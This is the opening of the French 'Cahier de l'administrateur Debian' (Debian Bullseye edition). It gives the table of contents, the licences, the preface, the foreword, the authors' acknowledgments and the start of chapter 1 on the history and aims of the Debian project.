Le cahier de l'administrateur Debian

Table des matières

Préface

Avant-propos

1. Le projet Debian

1.1. Qu'est-ce que Debian ?

1.2. Textes fondateurs

1.3. Fonctionnement du projet Debian

1.4. Suivre les actualités Debian

1.5. Rôle d'une distribution

1.6. Cycle de vie d'une release

2. Présentation de l'étude de cas

2.1. Des besoins informatiques en forte hausse

2.2. Plan directeur

2.3. Pourquoi une distribution GNU/Linux ?

2.4. Pourquoi la distribution Debian ?

2.5. Pourquoi Debian Bullseye ?

3. Prise en compte de l'existant et migration

3.1. Coexistence en environnement hétérogène

3.2. Démarche de migration

4. Installation

4.1. Méthodes d'installation

4.2. Étapes du programme d'installation

4.3. Après le premier démarrage

5. Système de paquetage, outils et principes fondamentaux

5.1. Structure d'un paquet binaire

5.2. Méta-informations d'un paquet

5.3. Structure d'un paquet source

5.4. Manipuler des paquets avec dpkg

5.5. Cohabitation avec d'autres systèmes de paquetages

6. Maintenance et mise à jour : les outils APT

6.1. Renseigner le fichier sources.list

6.2. Commandes aptitude, apt-get et apt

6.3. Commande apt-cache

6.4. The apt-file Command

6.5. Frontaux : aptitude, synaptic

6.6. Vérification d'authenticité des paquets

6.7. Mise à jour d'une distribution à la suivante

6.8. Maintenir un système à jour

6.9. Mise à jour automatique

6.10. Recherche de paquets

7. Résolution de problèmes et sources d'informations

7.1. Les sources de documentation

7.2. Procédures types

8. Configuration de base : réseau, comptes, impression...

8.1. Francisation du système

8.2. Configuration du réseau

8.3. Attribution et résolution de noms

8.4. Base de données des utilisateurs et des groupes

8.5. Création de compte

8.6. Environnement des interpréteurs de commandes

8.7. Configuration de l'impression

8.8. Configuration du chargeur d'amorçage

8.9. Autres configurations : synchronisation, logs, partages…

8.10. Compilation d'un noyau

8.11. Installation d'un noyau

9. Services Unix

9.1. Démarrage du système

9.2. Connexion à distance

9.3. Gestion des droits

9.4. Interfaces d'administration

9.5. Les événements système de syslog

9.6. Le super-serveur inetd

9.7. Planification de tâches : cron et atd

9.8. Planification asynchrone : anacron

9.9. Les quotas

9.10. Sauvegarde

9.11. Branchements « à chaud » : hotplug

9.12. Gestion de l'énergie : Advanced Configuration and Power Interface (ACPI)

10. Infrastructure réseau

10.1. Passerelle

10.2. X.509 certificates

10.3. Réseau privé virtuel

10.4. Qualité de service

10.5. Routage dynamique

10.6. IPv6

10.7. Serveur de noms (DNS)

10.8. DHCP

10.9. Outils de diagnostic réseau

11. Services réseau : Postfix, Apache, NFS, Samba, Squid, LDAP, SIP, XMPP, TURN

11.1. Serveur de messagerie électronique

11.2. Serveur web (HTTP)

11.3. Serveur de fichiers FTP

11.4. Serveur de fichiers NFS

11.5. Partage Windows avec Samba

11.6. Mandataire HTTP/FTP

11.7. Annuaire LDAP

11.8. Services de communication en temps réel

12. Administration avancée

12.1. RAID et LVM

12.2. Virtualisation

12.3. Installation automatisée

12.4. Supervision

13. Station de travail

13.1. Configuration du serveur X11

13.2. Personnalisation de l'interface graphique

13.3. Bureaux graphiques

13.4. Courrier électronique

13.5. Navigateurs web

13.6. Développement

13.7. Suites bureautiques

13.8. L'émulation Windows : Wine

13.9. Logiciels de communication en temps réel

14. Sécurité

14.1. Définir une politique de sécurité

14.2. Pare-feu ou filtre de paquets

14.3. Supervision : prévention, détection, dissuasion

14.4. Introduction à AppArmor

14.5. Introduction à SELinux

14.6. Autres considérations sur la sécurité

14.7. En cas de piratage

15. Conception d'un paquet Debian

15.1. Recompiler un paquet depuis ses sources

15.2. Construire son premier paquet

15.3. Créer une archive de paquets pour APT

15.4. Devenir mainteneur de paquet

16. Conclusion : l'avenir de Debian

16.1. Développements à venir

16.2. Avenir de Debian

16.3. Avenir de ce livre

A. Distributions dérivées

A.1. Recensement et coopération

A.2. Ubuntu

A.3. Linux Mint

A.4. Knoppix

A.5. Aptosid et Siduction

A.6. Grml

A.7. Tails

A.8. Kali Linux

A.9. Devuan

A.10. DoudouLinux

A.11. Raspbian

A.12. PureOS

A.13. SteamOS

A.14. Et d'autres encore

B. Petit cours de rattrapage

B.1. Interpréteur de commandes et commandes de base

B.2. Organisation de l'arborescence des fichiers

B.3. Fonctionnement d'un ordinateur : les différentes couches en jeu

B.4. Quelques fonctions remplies par le noyau

B.5. L'espace utilisateur

Le cahier de l'administrateur Debian

Debian Bullseye from Discovery to Mastery

Raphaël Hertzog

<hertzog@debian.org>

Roland Mas

<lolando@debian.org>

Copyright © 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Raphaël Hertzog

Copyright © 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015 Roland Mas

Copyright © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Freexian SARL

ISBN: 979-10-91414-21-0 (English paperback)

ISBN: 979-10-91414-22-7 (English ebook)

Ce livre est disponible sous deux licences compatibles avec les « principes du logiciel libre selon Debian ».

Notice de licence Creative Commons :  Ce livre est disponible sous licence « Creative Commons Attribution-ShareAlike 3.0 Unported » (Creative Commons Attribution - Partage dans les mêmes conditions 3.0 Non transposé).

→ https://creativecommons.org/licenses/by-sa/3.0/deed.fr

Notice de licence publique générale GNU :  ce livre est de la documentation libre. Vous pouvez le redistribuer et/ou le modifier selon les termes de la licence publique générale GNU telle que publiée par la Free Software Foundation, soit la version 2 de cette licence ou (à votre option) toute version plus récente.

Ce livre est distribué dans l'espoir qu'il sera utile, mais SANS AUCUNE GARANTIE ; sans même la garantie tacite qu'il soit COMMERCIALISABLE ou ADAPTÉ À UN USAGE PARTICULIER. Veuillez vous référer à la licence publique générale GNU pour plus de détails.

Vous devriez avoir reçu une copie de la licence publique générale GNU avec ce livre. Si ce n'est pas le cas, consultez https://www.gnu.org/licenses/.

Montrez que vous appréciez notre travail

Ce livre est publié sous une licence libre parce que nous voulons que tout le monde en profite. Ceci dit, assurer sa maintenance demande beaucoup de temps et d'efforts, et nous apprécions être remerciés pour cela. Si vous trouvez ce livre utile, envisagez de contribuer à son avenir en achetant une copie papier ou en faisant une donation via le site officiel du livre :

→ https://debian-handbook.info

("https://raphaelhertzog.fr/livre/cahier-admin-debian/")

Résumé

Un livre de référence présentant la distribution Debian, de l'installation initiale à la configuration de services.

Préface

Je suis heureux d’avoir l’occasion de vous accueillir dans Debian et dans le Manuel de l’Administrateur Debian. Beaucoup de gens ont choisi Debian : environ 10 % des serveurs web sur Internet exécutent Debian. Quand on inclut les systèmes d’exploitation basés sur Debian, ce nombre est plus proche de 20 %. Debian a été sélectionné comme système d’exploitation de choix pour la Station spatiale internationale. Qu’il s’agisse d’une recherche de pointe en physique ou d’un projet visant à aider à cultiver des aliments tout en luttant contre la pollution, Debian a été utilisé pour alimenter les ordinateurs qui rendent ces choses possibles.

Pourquoi Debian a-t-il un attrait auprès des grandes entreprises, des chercheurs, des militants et des amateurs ? Je pense que la réponse se trouve dans la flexibilité et la communauté de Debian.

Debian est flexible. Oui, il fournit un excellent système d’exploitation polyvalent prêt à l’emploi. Il fournit également les outils nécessaires pour adapter Debian à l’environnement dans lequel vous travaillez. Qu’il s’agisse d’une architecture en nuage et en conteneur, d’un grand nombre de stations de travail, d’ordinateurs individuels ou d’une application matérielle, Debian fournit la flexibilité nécessaire pour bien fonctionner dans cet environnement. Vous trouverez les outils et les exemples qu’il vous faut pour répondre à vos besoins.

La communauté Debian est un lieu de rencontre pour des individus et des intérêts divers : les développeurs des plus grandes entreprises travaillent aux côtés de bénévoles, de chercheurs et d’utilisateurs. Qu’il s’agisse d’experts en sécurité, de développeurs web, de programmeurs système ou d’architectes, nous sommes tous représentés. Vous pouvez faire partie de cette communauté. Lorsque vous trouvez des moyens d’améliorer Debian, votre contribution est la bienvenue.

Nous nous réunissons pour produire un système d’exploitation gratuit et libre de classe mondiale. Aucune entreprise ne contrôle Debian ; personne ne définit notre travail. À la place, chacun de nous a le pouvoir d’améliorer Debian de la manière qui nous est importante. Merci d’avoir regardé ce que nous avons construit. J’espère que vous l’aimez.

Ce livre est un excellent moyen d’explorer Debian. Je le recommande à des amis depuis des années quand ils voulaient en savoir plus sur Debian, et je suis heureux d’avoir l’occasion de le recommander plus largement. Ce manuel est écrit et maintenu par des membres de longue date de la communauté Debian. Certaines des mêmes personnes qui travaillent au développement du système d’exploitation se sont réunies pour vous aider à le comprendre. Et bien sûr, le livre est développé en utilisant un processus communautaire similaire à Debian lui-même avec le même accent sur la liberté.

Août 2019

Sam Hartman (chef du projet Debian)

Avant-propos

Linux a le vent en poupe depuis un certain nombre d'années et sa popularité toujours croissante encourage de plus en plus à faire le grand saut. Cette aventure commence par le choix d'une distribution, décision importante car chacune a ses particularités. Autant s'épargner de futurs efforts inutiles de migration.

B.A.-BA Distribution et noyau Linux

Linux n'est en fait qu'un noyau, la brique logicielle de base assurant l'interface entre le matériel et les programmes.

Une « distribution Linux » est un système d'exploitation complet qui habituellement inclus un noyau Linux, un programme d'installation, et surtout des applications et utilitaires nécessaires pour transformer un ordinateur en un outil réellement exploitable.

Debian GNU/Linux est une distribution Linux « généraliste », convenant a priori à tous. Nous vous proposons d'en découvrir toutes les facettes, afin de pouvoir choisir en toute connaissance de cause.

1. Pourquoi ce livre ?

CULTURE Distributions commerciales

La plupart des distributions Linux sont adossées à une entreprise commerciale qui les développe et les commercialise. C'est par exemple le cas d'Ubuntu, développée principalement par la société Canonical Ltd., mais aussi de Red Hat Enterprise Linux, réalisée par la société Red Hat, Inc., filiale d'IBMou encore celui de SUSE Linux, maintenue et commercialisée par SUSE Software Solutions Germany GmbH, filiale d'EQT Partners.

Par opposition à ces distributions commerciales, et à l'instar de l' "Apache Software Foundation", qui développe le serveur web du même nom, Debian est avant tout un projet du monde du logiciel libre. C'est une organisation regroupant des bénévoles qui coopèrent par Internet. Alors que certains d'entre eux travaillent effectivement sur Debian dans le cadre de leur emploi dans diverses entreprises, le projet en tant que tel n'est attaché à aucune entreprise en particulier, et aucune entreprise n'a plus d'influence dans les affaires du projet que celle que les contributeurs bénévoles peuvent avoir.

Linux commence à bénéficier d'une couverture médiatique non négligeable et connaît une immense croissance, entraîné par exemple par la diffusion des serveurs virtuels, des systèmes embarqués, et de l'utilisation de l'intelligence artificielle ; cela profite essentiellement aux distributions disposant d'un véritable service marketing. C'est le cas de la plupart des distributions adossées à des entreprises (Ubuntu, Red Hat, SuSE...). Debian est pourtant loin d'être marginale ; de multiples études ont montré au fil des ans qu'elle est largement utilisée aussi bien sur des serveurs que sur des postes de bureautique. C'est encore plus marqué au sein des serveurs web, où Debian et Ubuntu sont les distributions Linux les plus populaires.

→ https://w3techs.com/technologies/details/os-linux/all/all

Ce livre a ainsi pour vocation de faire découvrir cette distribution. Nous espérons vous faire profiter de toute l'expérience acquise depuis que nous avons rejoint le projet en tant que développeurs-contributeurs, en 1998 pour Raphaël et en 2000 pour Roland. Avec un peu de chance, notre enthousiasme sera contagieux et peut-être vous joindrez-vous à nous un jour, qui sait…

La première édition de ce livre a comblé un manque criant : il s'agissait alors du premier livre français consacré exclusivement à Debian. À cette époque, de nombreux autres livres ont été écrits sur le sujet. Malheureusement, presque aucun de ceux-là n'ont été mis à jour et aujourd'hui nous sommes de nouveau dans une situation avec très peu de bons livres sur Debian. Nous espérons vraiment que ce livre (avec toutes ses traductions) va combler ce manque et aider de nombreux utilisateurs.

2. À qui s'adresse cet ouvrage ?

Ses divers niveaux de lecture permettront à différents profils d'en tirer le meilleur parti. En premier lieu, les administrateurs systèmes (débutants ou expérimentés) y trouveront des explications sur l'installation de Debian et son déploiement sur de nombreux postes ; mais aussi un aperçu de la plupart des services disponibles sur Debian avec les instructions de configuration correspondantes, qui prennent en compte les spécificités et améliorations de la distribution. La compréhension des mécanismes régissant le développement de Debian leur permettra encore de faire face à tout imprévu, en s'appuyant au besoin sur la collaboration des membres de la communauté.

Les utilisateurs d'une autre distribution Linux ou d'un autre Unix découvriront les spécificités de Debian ; ils seront ainsi très vite opérationnels, tout en bénéficiant des avantages propres à cette distribution.

Enfin, tous ceux qui connaissent déjà un peu Debian et souhaitent en savoir plus sur son fonctionnement communautaire seront comblés. Après la lecture de ce livre, ils pourront rejoindre les rangs de nos contributeurs.

3. Approche adoptée

Toutes les documentations génériques concernant GNU/Linux s'appliquent à Debian, qui propose les logiciels libres les plus courants. Cette distribution apporte cependant de nombreuses améliorations ; c'est pourquoi nous avons pris le parti de présenter en priorité les manières de procéder recommandées par Debian.

Il est bien de suivre le chemin tracé par Debian, mais mieux encore d'en comprendre les tenants et les aboutissants. Nous ne nous contenterons donc pas d'explications pratiques, mais détaillerons également le fonctionnement du projet, afin de vous fournir des connaissances complètes et cohérentes.

4. Structure du livre

Ce livre est organisé autour d'un cas d'étude concret qui servira à la fois de support et d'illustration pour tous les sujets traités.

NOTE Site web et courriel des auteurs

Ce livre a son propre site web, qui héberge tout ce qui peut le compléter utilement. On y trouvera par exemple une version électronique du livre avec des liens cliquables, ou encore les éventuels errata découverts après impression. N'hésitez pas à le consulter et profitez-en pour nous faire part de vos remarques ou messages de soutien en nous écrivant à <hertzog@debian.org> (pour Raphaël) et <lolando@debian.org> (pour Roland).

→ https://debian-handbook.info/

Le chapitre 1, réservé à une présentation non technique de Debian, en exposera les objectifs et le mode de fonctionnement. Ces aspects sont importants, car ils permettent de fixer un cadre où viendront se greffer les contenus des autres chapitres.

Les chapitres 2 et 3 présenteront les grandes lignes de l'étude de cas retenue. À ce stade, les lecteurs les plus novices peuvent faire un détour par l'annexe B qui rappelle un certain nombre de notions informatiques de base ainsi que les concepts inhérents à tout système Unix.

Nous débuterons ensuite logiquement par l'installation (chapitre 4), puis nous découvrirons, aux chapitres 5 et 6, les outils de base utiles à tout administrateur Debian, notamment la famille APT, largement responsable de la bonne réputation de cette distribution. Rappelons qu'à la maison, chacun est son propre administrateur ; ces chapitres ne sont donc nullement réservés aux informaticiens professionnels.

Un chapitre intermédiaire, le chapitre 7, présentera des méthodes à suivre pour utiliser efficacement toute la documentation et comprendre rapidement ce qui se passe afin de résoudre les problèmes.

La suite détaillera la configuration pas à pas du système en commençant par les infrastructures et services de base (chapitres 8 à 10) pour remonter progressivement vers les applicatifs utilisateur (chapitre 13). Le chapitre 12 s'attarde sur des sujets plus pointus qui concernent directement les administrateurs de parc informatique (serveurs compris), tandis que le chapitre 14 rappelle la problématique de la sécurité informatique et donne les clés nécessaires pour éviter la majorité des problèmes.

Le chapitre 15 sera consacré aux administrateurs qui souhaitent aller plus loin et créer des paquets Debian personnalisés. Enfin, le chapitre 16 décrit l'avenir possible de Debian.

VOCABULAIRE Paquet Debian

Un paquet Debian est une archive qui renferme un ensemble de fichiers permettant d'installer un logiciel. En général, il s'agit d'un fichier d'extension .deb, qu'on manipule avec le programme dpkg. Un paquet sera qualifié de binaire s'il contient des fichiers fonctionnels directement utilisables (programmes, documentation) ou de source s'il abrite les codes sources du logiciel et les instructions nécessaires à la fabrication du paquet binaire.

La présente version est déjà la dixième édition du livre (nous incluons les quatre premières éditions qui étaient seulement disponibles en français). Cette édition traite de la version 11 de Debian, de nom de code Bullseye. Parmi les changements, Debian supporte maintenant le Secure Boot UEFI, ce qui apporte davantage de sécurité face aux attaques sur l'infrastructure de démarrage de l'ordinateur, et facilite l'installation de Debian sur les ordinateurs récents où le Secure Boot est souvent activé par défaut. De même, au niveau de la sécurité, AppArmor, un système de contrôle d'accès obligatoire qui réglemente ce que les diverses applications sont autorisées à faire, est maintenant activé par défaut. Tous les paquets inclus ont évidemment été mis à jour, y compris le bureau GNOME, maintenant dans sa version 3.38.

Nous avons placé dans des encadrés des notes et remarques diverses. Elles ont plusieurs rôles : attirer votre attention sur un point délicat, compléter ou détailler une notion abordée dans le cas d'étude, définir un terme ou faire des rappels. Voici une liste non exhaustive de ces encadrés :

- B.A.-BA : rappelle une information supposée connue du lecteur ;

- VOCABULAIRE : définit un terme technique (parfois spécifique au projet Debian) ;

- COMMUNAUTÉ : présente des personnages importants ou les rôles définis au sein du projet ;

- CHARTE DEBIAN : évoque une règle ou recommandation de la « charte Debian » ; Ce document essentiel décrit comment empaqueter les logiciels. Toutes ces connaissances s'avéreront utiles pour découvrir un nouveau logiciel. Tout paquet Debian devant se conformer à la charte, on saura ainsi où en trouver la documentation, des exemples de fichiers de configuration, etc ;

- OUTIL : présente un outil ou service pertinent ;

- EN PRATIQUE : la pratique a parfois des spécificités, que présenteront ces encadrés. Ils pourront aussi donner des exemples détaillés et concrets ;

- D'autres encadrés, plus ou moins fréquents, sont relativement explicites : CULTURE, ASTUCE, ATTENTION, POUR ALLER PLUS LOIN, SÉCURITÉ...

5. Contribuer

Ce livre est développé comme un projet de logiciel libre, votre contribution et votre aide sont les bienvenues. La façon la plus évidente de contribuer est d'aider à le traduire dans votre langue maternelle. Mais ce n'est pas la seule possibilité. Vous pouvez ouvrir des rapports de bogue pour nous signaler des erreurs, des fautes de frappe, des informations obsolètes ou des sujets que nous devrions vraiment couvrir. Vous pouvez également soumettre une demande de fusion avec votre correctif pour tout problème que vous avez identifié.

Toutes les instructions pour contribuer au livre sont documentées sur le site web du livre :

→ https://debian-handbook.info/contribute/

6. Remerciements

6.1. Un peu d'histoire

En 2003, Nat Makarévitch a contacté Raphaël dans le but de publier un livre sur Debian dans la collection Cahiers de l'Admin, dont il était directeur, chez Eyrolles, un éditeur français d'ouvrages techniques. Raphaël a immédiatement accepté de l'écrire et la première édition, parue le 14 octobre 2004, a été un franc succès — elle a été épuisée après à peine quatre mois.

Nous avons depuis publié sept nouvelles éditions du livre français, une pour chaque version de Debian parue(mis à part pour Debian 9). Roland, qui a commencé comme relecteur technique, est progressivement devenu co-auteur à part entière.

Bien que très satisfaits du succès du livre, nous avons longtemps espéré qu'Eyrolles arriverait à convaincre un éditeur international d'en publier une traduction anglaise ; nous avons reçu de nombreux commentaires décrivant comment le livre avait permis à de nombreuses personnes d'aborder Debian et nous étions impatients de le voir servir à d'autres encore.

Hélas, parmi tous les éditeurs anglophones que nous avons contactés, aucun n'était prêt à prendre le risque de traduire et publier le livre. Mais nous ne nous sommes pas démontés : nous avons négocié avec notre éditeur Eyrolles la rétrocession des droits nécessaires à une traduction en anglais et la possibilité de publier nous-même le résultat. Grâce à une campagne de financement participative fructueuse, nous avons pu travailler à la traduction de décembre 2011 jusqu'à mai 2012. C'est ainsi que le Debian Administrator's Handbook est venu au monde et a été publié sous une licence libre !

Même si c'était là une étape importante, nous savions déjà que l'histoire ne serait pas terminée avant que le livre français soit considéré comme une traduction officielle du livre anglais. Ce n'était pas possible à l'époque parce qu'il était encore exploité commercialement par Eyrolles sous une licence non libre.

En 2013, la sortie de Debian 7 nous a offert une bonne opportunité de discuter d'un nouveau contrat avec Eyrolles. Nous les avons convaincus qu'une licence plus en accord avec les valeurs de Debian contribuerait au succès du livre. Cette décision n'a pas été facile à prendre et nous nous sommes mis d'accord sur la mise en place d'une nouvelle campagne de financement participatif pour couvrir une partie des frais et ainsi limiter les risques pris. L'opération a de nouveau été un énorme succès et, en juillet 2013, nous avons ajouté une traduction française au Debian Administrator's Handbook.

Nous voudrions donc remercier toutes les personnes qui ont contribué à ces campagnes de financement, soit directement par des dons, soit indirectement en diffusant l'information. Nous n'aurions pas pu en arriver là sans vous.

Pour économiser du papier, 5 ans après les campagnes de collecte de fonds et après deux éditions ultérieures, nous avons supprimé la liste des personnes qui ont choisi d'être récompensées par une mention de leur nom dans le livre. Mais leurs noms sont présents dans les remerciements de l'édition Wheezy du livre :

→ https://debian-handbook.info/browse/wheezy/sect.acknowledgments.html

6.2. Remerciements particuliers aux contributeurs

Ce livre ne serait pas ce qu'il est sans les contributions de plusieurs personnes qui ont joué un rôle particulier pendant la traduction et au-delà. Nous voudrions remercier Marilyne Brun, qui nous a aidés à traduire un chapitre d'essai et qui a travaillé avec nous pour établir quelques conventions de traduction. Elle a aussi révisé plusieurs chapitres qui avaient grand besoin de travail supplémentaire. Merci aussi à Anthony Baldwin (de Baldwin Linguas) qui a traduit plusieurs chapitres pour nous.

Comme Roland et moi étions trop occupés pour mettre à jour le livre pour Debian 11, nous avons utilisé les modestes revenus que nous obtenons grâce aux dons et aux ventes pour engager des contributeurs pour faire le gros du travail. Merci beaucoup à Jorge Maldonado Ventura et Daniel Leidert pour le dur labeur qu'ils ont fourni pour cette mise à jour.

Nos relecteurs nous ont été d'une aide précieuse : Daniel Phillips, Gerold Rupprecht, Gordon Dey, Jacob Owens et Tom Syroid ont chacun relu, revu et corrigé de nombreux chapitres. Merci beaucoup !

Enfin, une fois que le livre anglais a été libéré, nous avons naturellement eu de nombreux retours, suggestions et corrections de lecteurs, et encore plus des nombreuses équipes qui ont entrepris de traduire ce livre dans d'autres langues. Merci !

Nous voudrions aussi remercier les lecteurs français qui nous ont témoigné que le livre méritait vraiment d'être traduit : merci à Christian Perrier, David Bercot, Étienne Liétart et Gilles Roussi. Stefano Zacchiroli — qui était leader du projet Debian pendant la campagne de financement — a toute notre gratitude, pour avoir encouragé notre projet et lui avoir donné la publicité nécessaire, avec un message mettant en lumière le besoin de livres libres.

Si vous lisez ces lignes sur un vrai livre en vrai papier, c'est aussi grâce à Benoît Guillon, Jean-Côme Charpentier et Sébastien Mengin, qui ont travaillé à la mise en page intérieure du livre. Benoît est l'auteur principal de dblatex, l'outil que nous utilisons pour convertir du format DocBook en LaTeX puis en PDF ; Sébastien est le concepteur graphique qui a créé la maquette du livre et Jean-Côme est l'expert LaTeX qui l'a exprimée en feuilles de styles utilisables avec dblatex. Merci à tous les trois pour votre travail !

Pour finir, merci à Thierry Stempfel pour les belles photos qui ornent chaque début de chapitre, et à Doru Patrascu pour la belle couverture.

6.3. Remerciements aux traducteurs

Depuis que le livre a été libéré, de nombreux volontaires se sont affairés à le traduire vers diverses langues, notamment l'arabe, le portugais du Brésil, l'allemand, l'italien, l'espagnol, le japonais, le bokmål norvégien, etc. Vous pouvez retrouver la liste complète des traductions sur le site web du livre : https://debian-handbook.info/get/#other

Nous voudrions remercier tous les traducteurs et les relecteurs des traductions. Votre travail est énormément apprécié, et il permet de mettre Debian à la portée de millions de personnes qui ne lisent pas l'anglais.

6.4. Remerciements personnels de Raphaël

Tout d'abord, je voudrais remercier Nat Makarévitch, qui m'a offert la possibilité de rédiger ce livre et qui m'a guidé tout au long de l'année où je l'ai écrit. Merci aussi à toute la fine équipe d'Eyrolles, et en particulier Muriel Shan Sei Fan. Elle a été très patiente avec moi et j'ai appris beaucoup d'elle. Et je n'oublie pas bien sûr Sophie Hincelin et Anne Bougnoux.

La période de la campagne Ulule a été très éprouvante pour moi, mais je voudrais remercier tous ceux qui en ont fait un succès, en particulier l'équipe d'Ulule, qui a toujours réagi très rapidement à mes nombreuses demandes. Merci également à tous ceux qui ont fait la promotion de l'opération. Je n'ai pas de liste exhaustive (et elle serait de toute façon trop longue si j'en avais une), mais je voudrais remercier quelques-unes des personnes qui m'ont contacté : Joey-Elijah Sneddon et Benjamin Humphrey d'OMG! Ubuntu, Florent Zara de LinuxFr.org, Manu de Korben.info, Frédéric Couchet de l'April, Jake Edge de Linux Weekly News, Clement Lefebvre de Linux Mint, Ladislav Bodnar de Distrowatch, Steve Kemp de Debian-Administration.org, Christian Pfeiffer Jensen de Debian-News.net, Artem Nosulchik de LinuxScrew.com, Stephan Ramoin de Gandi.net, Matthew Bloch de Bytemark.co.uk, l'équipe de Divergence FM, Rikki Kite de Linux New Media, Jono Bacon, l'équipe du marketing chez Eyrolles et les nombreux autres que j'oublie malheureusement.

Je voudrais remercier tout spécialement Roland Mas, mon co-auteur. Nous avons travaillé ensemble sur ce livre depuis le début et il a toujours été à la hauteur du défi. Et je dois avouer que terminer ce cahier de l'administrateur Debian a été un sacré défi…

Pour terminer, merci à mon épouse, Sophie. Elle m'a toujours soutenu dans mon travail pour ce livre et pour Debian en général. Il y a eu trop de jours (et de nuits) où je l'ai laissée seule avec nos deux fils pour avancer sur ce livre. Je lui suis très reconnaissant pour son soutien et je sais à quel point j'ai de la chance de l'avoir.

6.5. Remerciements personnels de Roland

Eh bien ! Raphaël m'a devancé sur la plupart de mes remerciements « externes ». Je vais tout de même exprimer ma gratitude particulière envers les gens d'Eyrolles, avec qui la collaboration a toujours été agréable et fluide. J'espère que les résultats de leurs excellents conseils ne se sont pas perdus lors de la traduction.

Je suis très reconnaissant envers Raphaël pour s'être occupé de la partie administrative de l'édition anglaise. De l'organisation de la campagne de financement aux derniers détails de la maquette et de la mise en page, la préparation d'un livre traduit va bien au-delà de la simple traduction (et de la relecture) ; Raphaël en a fait une grande partie et a supervisé le reste. Merci.

Merci aussi à tous ceux qui ont contribué de manière plus ou moins directe à ce livre, en apportant clarifications, explications et conseils de traduction. Ils (et elles !) sont trop nombreux pour être listés ici, mais une bonne partie sont des habitués des divers canaux IRC #debian-*.

Même si elles ont été (en partie) citées, d'autres personnes méritent des remerciements spéciaux : toutes celles qui travaillent réellement sur Debian. Sans eux et sans elles, pas de Debian, donc pas de livre. Et je suis continuellement ébahi par tout ce que le projet Debian accomplit et rend accessible à tous.

De manière plus personnelle, je voudrais remercier mes amis et mes clients pour leur compréhension lorsque j'étais moins réactif parce que très occupé par ce livre, et pour leur soutien et leurs encouragements constants. Vous savez qui vous êtes, merci.

Et pour terminer… je suis sûr qu'ils seraient surpris d'apprendre qu'ils sont mentionnés ici, mais je voudrais exprimer publiquement ma gratitude envers Terry Pratchett, Jasper Fforde, Tom Holt, William Gibson, Neal Stephenson et bien entendu le regretté Douglas Adams. Les innombrables heures que j'ai passées plongé dans leurs livres sont directement impliquées dans ma capacité à participer à la traduction de ce livre d'abord et à la rédaction de nouvelles parties ensuite.

Chapitre 1. Le projet Debian

Avant de plonger dans la technique, découvrons ensemble ce qu'est le projet Debian : ses objectifs, ses moyens et son fonctionnement.

1.1. Qu'est-ce que Debian ?

CULTURE Origine du nom de Debian

Ne cherchez plus, Debian n'est pas un acronyme. Ce nom est en réalité une contraction de deux prénoms : celui de Ian Murdock et de sa compagne d'alors, Debra. Debra + Ian = Debian.

Debian est une distribution GNU/Linux. Nous reviendrons plus en détail sur ce qu'est une distribution dans la Section 1.5, « Rôle d'une distribution », mais nous pouvons pour l'instant considérer qu'il s'agit d'un système d'exploitation complet comprenant des logiciels avec leurs systèmes d'installation et de gestion, le tout basé sur le noyau Linux, et des logiciels libres (et notamment ceux du projet GNU).

Lorsqu'il a créé Debian en 1993 sous l'impulsion de la Free Software Foundation (FSF), Ian Murdock avait des objectifs clairs, qu'il a exprimés dans le Manifeste Debian. Le système d'exploitation libre qu'il recherchait devait présenter deux caractéristiques principales. En premier lieu, la qualité : Debian serait développée avec le plus grand soin, pour être digne du noyau Linux. Ce serait également une distribution non commerciale suffisamment crédible pour concurrencer les distributions commerciales majeures. Cette double ambition ne serait à son sens atteinte qu'en ouvrant le processus de développement de Debian, à l'instar de Linux et de GNU. Ainsi, la revue des pairs améliorerait constamment le produit.

CULTURE GNU, le projet de la FSF

Le projet GNU est un ensemble de logiciels libres développés ou parrainés par la Free Software Foundation (FSF), dont Richard Stallman est le créateur emblématique. GNU est un acronyme récursif signifiant « GNU's Not Unix » (GNU n'est pas Unix).

CULTURE Richard Stallman

Fondateur de la FSF et rédacteur de la licence GNU General Public License (GPL), Richard M. Stallman (souvent désigné par ses initiales, RMS), est un leader charismatique du mouvement du logiciel libre. Ses positions sans compromis ne lui attirent pas une admiration unanime, mais ses contributions aux aspects non techniques du mouvement (notamment juridique et philosophique) sont respectées de tous.

1.1.1. Un système d'exploitation multi-plate-forme

COMMUNAUTÉ Le parcours de Ian Murdock

Ian Murdock, fondateur du projet Debian, en fut le premier leader, de 1993 à 1996. Après avoir passé la main à Bruce Perens, il s'est fait plus discret. Il est ensuite revenu sur le devant de la scène du logiciel libre en créant la société Progeny, visant à commercialiser une distribution dérivée de Debian. Ce fut un échec commercial, au développement depuis abandonné. La société, après plusieurs années de vivotement en tant que simple société de services, a fini par déposer le bilan en avril 2007. Des différents projets initiés par Progeny, seul discover subsiste réellement. Il s'agit d'un outil de détection automatique du matériel.

Ian Murdock est mort le 28 décembre 2015 à San Francisco après une série de tweets inquiétants où il signalait avoir été agressé par la police. En juillet 2016, il a été annoncé que sa mort avait été considérée comme un suicide.

Debian, restée fidèle à ses principes initiaux, a connu un tel succès qu'elle atteint aujourd'hui une taille pharaonique. Actuellement 9 architectures matérielles sont officiellement supportées ainsi que d'autres noyaux comme FreeBSD, même si les ports qui utilisent FreeBSD ne font pas non plus partie de ces architectures officiellement supportées. Et avec plus de 31 000 paquets sources, les logiciels disponibles permettent de répondre à une grande partie des besoins aussi bien en entreprise qu'à la maison.

Cet embonpoint devient parfois gênant : il est peu raisonnable de distribuer les 18 DVD-ROM (contenant seulement les paquets qualifiés de « Logiciel Libre ») qu'occupe une version complète pour PC... C'est pourquoi on la considère de plus en plus comme une « métadistribution », dont on extrait des distributions plus spécifiques et orientées vers un public particulier : Debian Science pour un usage scientifique, Debian-Edu pour un emploi éducatif et pédagogique en milieu scolaire, Debian Med pour les applications médicales, Debian Jr. pour les jeunes enfants, etc. Une liste plus complète se trouve dans la Section 1.3.3.1, « Sous-projets Debian existants et "Blends" ».

Ces scissions, organisées dans un cadre bien défini et garantissant une compatibilité entre les différentes « sous-distributions », ne posent aucun problème. Toutes suivent le planning général des publications de nouvelles versions. S'adossant sur les mêmes briques de base, elles peuvent facilement être étendues, complétées et personnalisées par des applications disponibles au niveau de Debian.

Tous les outils évoluent dans cette direction : debian-cd permet depuis longtemps de créer des jeux de CD-Rom ne comportant que des paquets préalablement sélectionnés ; debian-installer est également un installateur modulaire, facilement adaptable à des besoins particuliers. APT installera des paquets d'origines diverses tout en garantissant la cohérence globale du système.

